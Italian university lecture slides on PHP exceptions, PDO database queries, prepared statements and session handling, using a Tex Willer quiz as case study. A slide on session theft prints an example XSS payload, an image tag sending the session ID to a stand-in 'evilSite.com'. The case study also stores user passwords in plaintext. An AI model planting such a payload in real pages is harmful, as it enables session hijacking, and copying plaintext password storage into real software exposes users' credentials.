Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 1
Tecnologie Web:
approcci avanzati
a.a. 2020/2021
5a
Anna Goy
Object-oriented
eccezioni, interazione PHP:
con i DB, sessioni
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 2
Errori ed
eccezioni in PHP
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 3
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati
In caso di problemi, PHP genera diversi tipi di errori:
• parser error, errori di sintassi (per es. parentesi mancanti)
• fatal error, che interrompono l'esecuzione del programma (x es. invocare una funzione non definita)
• warning, possibili anomalie che però non bloccano l'esecuzione del programma (x es. una divisione per 0)
• notice, segnalazioni non necessariamente problematiche (x es. l'uso di una variabile non definita)
E' possibile (in php.ini, opp attraverso la funzione error_reporting(..)) impostare il livello di "verbosità" dei messaggi di errore, x es con:
error_reporting = E_ALL
l'interprete mostra tutti i tipi di errori, warning, notice, ecc.
Elenco delle possiblità: in php.ini opp su Zimuel 2017, p. 73
[rif. Zimuel 2017 cap. 4, php.net/manual/en/language.exceptions.php]
PHP: errori ed eccezioni - I
4
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati
In PHP è possibile gestire gli errori nel codice attraverso le eccezioni:
try {
// codice che può dare un errore // (generare un'eccezione);
} catch (Exception $e) {
// gestione dell'eccezione, x es:
echo "Attenzione: {$e->getMessage()}";
...
} finally {
// istruzioni da eseguire sempre }
Esistono classi più specifiche per gestire tipi specifici di errori ed eccezioni…
[rif. php.net/manual/en/language.errors.php7.php]
[rif. php.net/manual/en/language.exceptions.php]
PHP: errori ed eccezioni - II
5
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati
Le eccezioni possono essere generate ("lanciate") da funzioni predefinite o da funzioni definite dal programmatore, x es:
function inverse(int $x): float { if (0 === $x) {
throw new Exception('Divisione per 0!');
} }
Su un oggetto di tipo Exception posso invocare diverse funzioni (metodi), per ottenere info sull'errore, per es:
$e->getMessage();
$e->getCode();
$e->getFile();
$e->getLine();
$e->getTrace(); //istruzioni che hanno generato l'eccezione
$e->getTraceAsString();
$e->__toString();
PHP: errori ed eccezioni - III
6
per generare ("lanciare") un'eccezione (cioè un oggetto di tipo Exception)
Interazione con i database in PHP
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 7
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 8
PHP: interazione con database - I
Per interagire con un DBMS da un programma (script) PHP:
1. Aprire una connessione con il Database Server (DBMS) e selezionare un database
2. Inviare al DBMS una query SQL (che il DBMS eseguirà sul database selezionato)
3. Eventualmente, estrarre (ed elaborare/visualizzare) i dati contenuti nel risultato della query (recordset)
4. Chiudere la connessione
Prima di vedere come si fa, costruiamoci un database per il nostro CASE STUDY (quiz), utilizzando MySQL Server/MariaDB
→ dal pannello di XAMPP
• avviate il DB Server
• accedete alla User Interface del DBMS (PhpMyAdmin)
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 9
PHP: interazione con database - II
Da phpMyAdmin, potete (tra le altre cose):
• controllare gli utenti abilitati ad accedere al DB Server, cliccando su Account utenti
NB: la configurazione di default di XAMPP prevede, su localhost, un utente root, senza password
(che non è una
configurazione sicura, ma in fase di sviluppo va bene…)
• creare un nuovo database, cliccando su Database
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 10
PHP: interazione con database - III
• esportare/importare un database in forma di query SQL (salvata in un file di testo)
− selezionando il database, cliccando su Esporta e salvando il risultato in un file (es. myDatabase.sql)
− cliccando su Importa e selezionando il file contenente la query (es.
myDatabase_save25122015.sql)
Creiamo un database (domande_quiz_v3) che contiene le domande del nostro quiz:
Tabella domande, campi:
▫ id (autoincrement)
▫ testo (text)
▫ punti (int)
▫ tipo (varchar/string)
+ vincolo di integrità referenziale tra risposte.dom_rif e domande.id
... e lo popoliamo:
Tabella risposte, campi:
▫ id_risp (autoincrement)
▫ testo_risp (varchar)
▫ dom_rif (int)
▫ giusta (boolean)
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 11
Il database domande_quiz_v3
domande risposte
id_risp testo_risp dom
_rif giusta
1 kit 1 true
2 capelli_d_argento 2 true
3 nuvola_bianca 2 false
4 vecchio_lupo 2 false
5 navajos 3 true
6 comanche 3 false
7 apache 3 false
8 el_morisco 4 true
9 pat_mac_ryan 4 true
10 mefisto 4 false
11 clark_kent 4 false
id testo punti tipo
1 Come si chiama il figlio di
Tex? 2 text
2 Qual è il nome
indiano di Carson? 4 radio
3 A quale tribù di
indiani appartiene Tiger Jack? 3 drop- down 4 Quali dei seguenti sono amici
storici di Tex? 5 check
box
RIF dataMgr/domande_quiz_v3.sql
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 12
PHP: interazione con database - IV
...
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 13
PHP: interazione con database - V
In PHP, per interagire con un DBMS possiamo usare due librerie (object oriented):
• PDO (PHP Data Objects)
• MySQLi
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 14
PHP: interazione con database - VI
Per interagire con il nostro database usiamo la libreria PDO;
Vediamo il dettaglio dei vari passi:
1. Aprire una connessione con il Database Server (DBMS) e selezionare un database
$db = new PDO(
"mysql:dbname=domande_quiz_v3;host=localhost;charset=utf8",
"root", "" );
Data Source Name:
- DBMS usato (mysql)
- nome del DB (domande_quiz_v3)
- host su cui gira il DBMS Server (localhost) - codifica caratteri usata
username e password di un utente accreditato (con privilegi di scrittura) sul DBMS (su MySQL Server: vedi Account utenti su
PhpMyAdmin)
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 15
PHP: interazione con database - VII
2. Inviare al DBMS una query SQL (che il DBMS eseguirà sul database indicato) Se leggiamo (SELECT...):
$resultSet = $db->query("SELECT * FROM risposte WHERE dom_rif=2");
→ $resultSet = oggetto di tipo PDOStatement, contenente i risultati (recordset), oppure false (se la query fallisce)
Se scriviamo (INSERT, DELETE, UPDATE...):
$resultDel = $db->exec("DELETE FROM domande WHERE tipo=text'");
→ $resultDel = numero di righe interessate dall'operazione, oppure false (se la query fallisce)
NB si può anche usare il metodo query per inviare una INSERT/DELETE/UPDATE...
in quel caso il risultato è true se la query va a buon fine (false altrimenti)
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 16
PHP: interazione con database - VIII
Attenzione!!
Quando includete in una query SQL dei dati ricevuti dal client (es. dati che arrivano da un form) non dimenticate di validare l'input (controllare i valori dei parametri prima di usarli) per evitare iniezioni SQL!!
A questo scopo è possibile usare la funzione (API di PDO) quote(string), x es:
$db = new PDO (...);
$safeRispUt = $db->quote($_POST["risp_utente"]);
$res = $db->query("SELECT * FROM risposte
WHERE testo_risp=$safeRispUt");
ATTENZIONE! la funzione quote mette le virgolette semplici intorno al valore(es:
'anna') → se poi lo confrontate (x es. con anna) usando == non funziona (li considera diversi)!! ⇒ consiglio: usatelo solo per le query SQL!!
NB Le iniezioni SQL sono molto pericolose, perché possono leggere dati dal DB e/o possono danneggiarlo!!
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 17
PHP: interazione con database - IX
3. Eventualmente, estrarre (ed elaborare/visualizzare) i dati contenuti nel risultato della query (recordset = insieme di record)
⇒ il risultato di una SELECT è un oggetto (di tipo PDOStatement), di fatto un array (tabella) i cui elementi sono array associativi (righe)
→ in ogni riga,
chiavi = campi della tabella, valori = valori delle celle
$rs = $db->query("SELECT...);
while($record = $rs->fetch(PDO::FETCH_ASSOC)){
echo $record["testo_risp"].": ".$record["giusta"];
}
id_risp testo_risp dom_rif giusta 2 capelli_d_argento 2 true 3 nuvola_bianca 2 false
4 vecchio_lupo 2 false
ad ogni ciclo la variabile $record conterrà un record, da cui potrò leggere i vari valori...
la funzione fetch (libreria PDO) con parametro
PDO::FETCH_ASSOC invocata su un PDOStatement, restituisce un record, in particolare un array le cui chiavi sono i nomi delle colonne della tabella oggetto di tipo PDPStatement
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 18
PHP: interazione con database - X
4. Chiudere la connessione
$db = NULL;
Se la connessione non viene chiusa esplicitamente, l'interprete la chiude quando termina lo script, ma è considerata buona pratica inserire
un'esplicita istruzione di chiusura, quando le operazioni sul database sono terminate...
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 19
PHP: interazione con database - XI
Gestione degli errori
• nell'interazione con un DBMS è facile che qualcosa vada storto (la connessione al DB Server, la query, ...) ⇒ è importante gestire i possibili errori
• il modo migliore è attraverso il meccanismo delle eccezioni, x es:
try {
// istruzioni di connessione al DB }
catch (PDOException $ex) {
// istruzioni di gestione dell'errore
?>
<p>Errore (DB): <?= $ex-> getMessage() ?></p>
<?php }
tipo di eccezione da catturare
metodo (di PDOException) che restituisce i dettagli sull'errore
NB ok in fase di debugging, ma è fortemente sconsigliato stampare i dettagli dell'errore sulla pagina, per ragioni di sicurezza (possono esserci informazioni "sensibili"...)
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 20
PHP: interazione con database - XII
E' buona pratica mettere la gestione della connessione al DBMS in un file
separato, importato in tutte i file PHP che accedono al DB, es. in connDB_v3.php:
$erroreDB = "";
try {
$db = new
PDO("mysql:dbname=domande_quiz_v3;host=localhost","root","" );
}
catch (PDOException $ex) {
$erroreDB = $ex->getMessage();
}
e in pagina.php:
require("connDB_v3.php");
if ($erroreDB != "") { // se la var $errore non è vuota, significa echo $erroreDB; // che è stata eseguita la catch...
}
else {
$db->query(...);
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati
CASE STUDY: quiz
(versione 3) Aggiorniamo il case study• leggiamo le domande dal database
– potete creare il DB (domande_quiz_v3) opp importarlo in MySQL (tramite PhMyAdmin) domande_quiz_v3.sql
– modifichiamo domande_v*.php in modo che legga le domande dal database – Nota: se avete separato il codice che si occupa della gestione dei dati
(domande_v*.php), il codice che si occupa della gestione dell'interazione con l'utente (quiz_v*.php e quiz_v*_elabora_risposte.php) NON sarà modificato... :-) [questo è un principio importante che ritroveremo quando parleremo del pattern architetturale Model View Controller...]
PUT ALL TOGETHER & TRY YOURSELF!
21
RIF dataMgr/domande_quiz_v3.sql, dataMgr/connDB_v3.php,
dataMgr/DomandaIII.php, dataMgr/RispostaIII, dataMgr/domande_v3.php, quiz_v3.php, quiz_v3_elabora_risposte.php
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 22
PHP: preparared statements - I
prepared statement (con PDO) = query template = query con parametri es: SELECT * FROM utenti WHERE nome = ? AND email = ?
SELECT * FROM prodotti WHERE nome = :n AND email = :e
• I parametri in un template possono essere TUTTI anonimi (?) opp TUTTI nominati (es. :n, :nome, : e, :email, ...)
• Con i prepared statement l'esecuzione di una query avviene in due passi:
1. preparazione: il client invia il template al DB server, che esegue controlli sintattici e ottimizzazioni varie
2. esecuzione: il client invia al DB server i valori per i parametri; il sDB erver crea la query e la esegue
Principali vantaggi (e svantaggi):
• sono più efficienti: prepare once, executed multiple times
(NB se preparo ed eseguo una sola volta, in realtà sono meno efficiente!)
• evitano le iniezioni SQL perché i parametri sono trasmessi al server separatamente dalla query (template)
RIF: https://www.w3schools.com/php/php_mysql_prepared_statements.asp
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 23
PHP: preparared statements - II
Esempio (con PDO)
$db = new PDO(...);
$nomeutente = ...;
$emailutente = ...;
$query = "SELECT * FROM utenti WHERE nome = ? AND email = ?";
opp
$query = "SELECT * FROM utenti WHERE nome = :n AND email = :e";
// preparo la query (template)
$stmt = $db->prepare($query);
// invio il valore per il parametro
$stmt->bindParam(1, $nomeutente);
$stmt->bindParam(2, $emailutente);
opp
$stmt->bindParam(":n", $nomeutente);
$stmt->bindParam(":e", $emailutente);
// eseguo la query
$stmt->execute();
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 24
Tecnologie Web:
approcci avanzati
a.a. 2020/2021
5b
Anna Goy
Gestire le sessioni in PHP
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 25
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 26
• Il protocollo HTTP è stateless, cioè non memorizza lo stato di una
conversazione client-server → due richieste successive dello stesso client allo stesso server sono trattate indipendentemente (e non come un'unica
"conversazione")
• A volte, però, è utile che il server abbia "memoria" dei passi precedenti nella conversazione con un client...
• Il principale meccanismo utilizzato dai web server per mantenere "memoria"
della conversazione con un client è la sessione
Sessioni - I
web server
utente1 utente2 utente3 sessione1
sessione2 sessione3
ecc… ecc…
Sessione = serie di richieste HTTP fatte a un web server da uno stesso client, in un arco di tempo delimitato durante il quale viene mantenuto uno stato dell'interazione (cioè
informazioni sull'interazione)
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 27
Sessioni - II
• Inizio di una sessione: il web server crea automaticamente un "oggetto"
sessione, con ID univoco (session ID), per ogni client che invia una richiesta HTTP
• Sessione attiva: tutti gli "scambi" HTTP tra il singolo client e il server vengono
"tracciati" (fanno parte della stessa sessione)
• Fine di una sessione:
− quando scade (timeout): dipende dalla configurazione del web server
− quando viene esplicitamente eseguita una istruzione di "fine sessione"
(per esempio quando l'utente clicca su "logout" o "esci")
− quando viene chiuso il browser
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 28
Sessioni - III
La sessione è generalmente gestita attraverso i cookies di sessione (session cookies)
Cookies = dati che il server salva sul client (ogni browser salva i cookies a modo suo!)
1. quando un browser (client) invia una HTTP request a un web server per richiedere una risorsa (es. pagina web), il server invia nell'HTTP response la risorsa + un session cookie che contiene il session ID e l'identificativo del server che lo ha prodotto
2. in ogni successiva richiesta, il client invierà, nella HTTP request, anche il session cookie, che viene così
letto dal server
3. quando la sessione scade o viene chiusa, il cookie viene distrutto (dal server)
HTTPServer HTTP
client other HTTP request
(session cookie) HTTP response (session cookie)
only first HTTP request
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 29
Sessioni - IV
• un session cookie, oltre al session ID, contiene l'identificativo del server che lo ha prodotto → un server può leggere solo i cookies che lui stesso ha generato!
• i dati sulla sessione sono salvati anche server-side, tipicamente in una tabella associativa: la gestione delle sessioni è infatti fatta con un approccio ibrido
client-side (session cookies) + server-side (tabella associativa dei dati legati alla sessione)
• con PHP, le informazioni sulla sessione vengono salvate (sul server) nella cartella indicata nel file php.ini:
session.save_path = "${path}\tmp\"
⇒ la cartella indicata (x es. c:\xampp\tmp) deve esistere ed essere scrivibile!
session ID 1 dati sulla sessione 1 session ID ... dati sulla sessione ...
session ID n dati sulla sessione n
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 30
Sessioni in PHP - I
session_start(); → funzione PHP che:
• verifica se c'è già una sessione attiva (cioè se c'è un sessionID in un session cookie inviato dal client)
• se non lo trova ne crea uno e crea una entry nella tabella server-side
• se lo trova, carica i dati relativi a quella sesssione (a quel session ID)
⇒anche se è controintuitivo, session_start() deve essere invocata ogni volta che si vuole accedere a informazioni sulla sessione!
Attenzione!
session_start() invia al client le info nell'intestazione (header) di HTTP response ⇒ va invocata prima che il contenuto (body) di HTTP response venga generato, cioè all'inizio della pagina (prima di qualunque altra cosa, anche di uno spazio bianco)!!!
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 31
Sessioni in PHP - II
Tutti i dati relativi alla sessione sono reperibili nell'array associativo superglobale $_SESSION
In particolare $_SESSION contiene le variabili di sessione
= variabili "globali al sito", cioè accessibili (visibili) da tutte le pagine del sito, all'interno di una sessione (a differenza delle variabili "normali" la cui visibilità è limitata alla singola pagina)
Per es:
session_start();
...
$_SESSION["user"] = $_POST["login"];
Le variabili di sessione sono salvate sul server (come dati associati a un certo session ID)
leggo lo username (x es da un form di login) lo scrivo in una variabile di sessione (user)
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 32
Sessioni in PHP - III
In tutte le pagine successive (visitate dopo aver inizializzato la variabile di sessione) sarà possibile leggerne il valore
NB: se questo non è possibile, significa che la sessione è scaduta!
Per es:
session_start();
...
if ( isset($_SESSION["user"] ) ) { //sessione valida
...
} else {
//sessione scaduta ...
}
⇒ possiamo usare le variabili di sessione per due scopi principali:
1) per controllare gli accessi
2) per rendere delle informazioni disponibili nelle pagine successive
funzione che restituisce true se la variabile (passata come parametro) esiste (ed è stata inizializzata), false altrimenti
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 33
Sessioni in PHP - IV
1) Controllo degli accessi:
– login → inizializzo una variabile di sessione
– pagine successive → se la variabile è "settata", allora la sessione è valida;
se non lo è, significa che la sessione è scaduta
⇒ se l'utente cerca di accedere ad una pagina del sito senza passare dal login, la variabile di sessione non verrà settata e l'accesso sarà
impossibile!
2) Rendere informazioni disponibili nelle pagine successive:
– login → inizializzo una variabile di sessione
– pagine successive → il contenuto di tale variabile è sempre disponibile
⇒ se voglio avere disponibile lo username in ogni pagina, basta metterlo in un variabile di sessione!
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati 34
Sessioni in PHP - V
Per chiudere una sessione (per es. quando l'utente clicca su "logout"):
session_unset();
session_destroy();
Se la sessione viene chiusa in modo meno esplicito (x es. perché l'utente
chiude il browser) al server NON viene notificata la fine della sessione, quindi i dati server-side non vengono cancellati
Dopo un certo tempo (configurabile in php.ini) di inattività su tali dati, il server considera chiusa la sessione e li distrugge
resetta le variabili di sessione
distrugge la sessione (il session ID)
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 35
Sessioni in PHP - VI
Attenzione!!
Uno dei problemi di sicurezza più frequenti è il furto di sessione
• Il furto di sessione è favorito dalla terminazione della sessione insufficiente: il sito mantiene attivo il session ID a lungo (per es. per non dover ripetere il login)
⇒ un malintenzionato ha più tempo per "rubare" il session ID
• Esempio di furto di session ID:
il sito myPoorSite.com subisce un'iniezione di codice Javascript (Cross-Site Scripting) che – va a leggere il session ID (sID) nel session cookie (i cookies sono accessibili da
Javascript attraverso l'oggetto document.cookie) – inserisce un'immagine "finta":
<img src=http://evilSite.com/badScript.php?id=sID>
⇒ il browser contatta il sito evilSite.com (in particolare lo script badScript.php)
credendo di scaricare un'immagine, invece gli invia come parametro il session ID → che può essere usato per effettuare richieste, apparentemente legittime, al sito
myPoorSite.com "in nome dell'utente legittimo"!
Tecnologie Web: approcci avanzati
Goy - a.a. 2020/2021 36
Sessioni in PHP - VII
Per gestire la sessione, nel nostro CASE STUDY (quiz):
• creiamo nel database (domande_quiz_v4) una nuova tabella utenti, con i seguenti campi:
▫ id (autoincrement)
▫ username (text)
▫ password (text)
• aggiungiamo una pagina per gestire il login (leggere username e password e inizializzare alcuni dati della sessione)e una per gestire il logout (chiudere la sessione
id username password
1 anna anna
2 pippo p1pp0
Goy - a.a. 2020/2021 Tecnologie Web: approcci avanzati
CASE STUDY: quiz
(versione 4) Aggiorniamo il case study• usiamo una variabile di sessione per controllare gli accessi alla nostra applicazione
– login_v4.php → chiedo all'utente username e password
– quiz_v4.php → leggo username e password: se username non esiste, lo
registro, altrimenti controllo la password; inizializzo una variabile di sessione – quiz_v4_elabora_risposte.php → controllo se la variabile di sessione è
impostata e solo se lo è procedo a elaborare le risposte
– offro all'utente la possibilità di fare logout (gestito da logout_v4.php)
• A questo punto si potrebbero anche registrare i punti di ogni singolo utente... :-)
PUT ALL TOGETHER & TRY YOURSELF!
37
RIF login_v4.php, logout_v4.php, dataMgr/domande_quiz_v4.sql, dataMgr/connDB_v4.php,
dataMgr/DomandaIV.php, dataMgr/RispostaIV, dataMgr/domande_v4.php, quiz_v4.php, quiz_v4_elabora_risposte.php